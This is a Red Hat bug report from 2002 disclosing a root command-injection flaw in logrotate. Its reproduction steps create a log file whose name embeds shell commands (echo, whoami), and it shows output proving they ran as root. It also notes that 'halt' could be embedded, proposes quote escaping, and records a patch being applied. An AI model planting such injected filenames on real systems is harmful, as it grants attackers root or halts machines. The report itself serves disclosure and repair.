Bug 79315 - Root exploits possible when rotating logs in user-writable directories
Summary: Root exploits possible when rotating logs in user-writable directories
Keywords:
Status: CLOSED RAWHIDE
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: logrotate
Version: 8.0
Hardware: i386
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Elliot Lee
QA Contact: Jay Turner
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2002-12-10 01:09 UTC by Jordan Russell
Modified: 2015-01-08 00:02 UTC (History)
2 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2003-01-14 18:12:24 UTC
Embargoed:


Attachments (Terms of Use)
Fix (4.75 KB, patch)
2002-12-10 23:26 UTC, Jordan Russell
no flags Details | Diff

Description Jordan Russell 2002-12-10 01:09:17 UTC
Description of problem:
If you're rotating logs in directories that are writable by users other than 
root, those users can run commands as root quite easily.

Version-Release number of selected component (if applicable):
logrotate-3.6.5-2

How reproducible:
Always

Steps to Reproduce:
1. First, create a user called "testuser":

# useradd testuser

2. Create a file called "/etc/logrotate.d/test" with the contents:

/home/testuser/*.log {
  daily
  compress
}

3. Then:

# su - testuser
$ echo something > "';echo -n 'This command is running as ';whoami;'.log"
$ exit
# /usr/sbin/logrotate -f /etc/logrotate.conf

Actual Results:  
gzip: /home/testuser/ is a directory -- ignored
This command is running as root
sh: line 1: .log.1: command not found
failed to compress log /home/testuser/';echo -n 'This command is running 
as ';whoami;'.log.1

As can be seen, it executed the 'echo' and 'whoami' commands we embedded into 
the log filename. ("This command is running as root")

Other mischievous things are obviously possible, such as halting the system (by 
embedding a "halt" command instead).

Expected Results:  It shouldn't have executed those commands.

Additional info:

It appears an attempt to fix this was before (see #21348) but clearly the fix 
was not complete...

Comment 1 Elliot Lee 2002-12-10 15:48:46 UTC
Solution is to not point logrotate at directories writeable by untrusted users. Supporting that 
is just way beyond the design goals.

21348 was intended to fix common-but-odd filenames, not security issues.

Comment 2 Jordan Russell 2002-12-10 18:56:57 UTC
Why must it be that way? I don't think it's asking too much to "fix" this. 
logrotate just needs to escape ' characters properly.

Instead of simply placing ' ' characters around the filename as it does now:

gzip -9 '';echo -n 'This command is running as ';whoami;'.log'

it should also escape any ' characters inside the filename:

gzip -9 ''\'';echo -n '\''This command is running as '\'';whoami;'\''.log'

If I were to create a patch that does this, would you include it...?


BTW, I think this problem *may* also be exploitable on directories writable 
only by root, e.g. in the case of Samba where it creates log filenames based on 
the machine name provided by the client.

Comment 3 Elliot Lee 2002-12-10 19:15:55 UTC
Sure, the bug is real and you're probably right about the samba thing, so patches 
welcome.

Comment 4 Jordan Russell 2002-12-10 23:26:00 UTC
Created attachment 88309 [details]
Fix

Comment 5 Jordan Russell 2002-12-10 23:29:49 UTC
In the attached patch, I identified and fixed 5 places where filenames were 
passed to system() without proper escaping:

- 1 when calling scripts
- 2 when compressing
- 2 when mailing

I tested each case, and I'm pretty sure it all works...

Comment 6 Elliot Lee 2003-01-14 18:12:24 UTC
applied


Note You need to log in before you can comment on or make changes to this bug.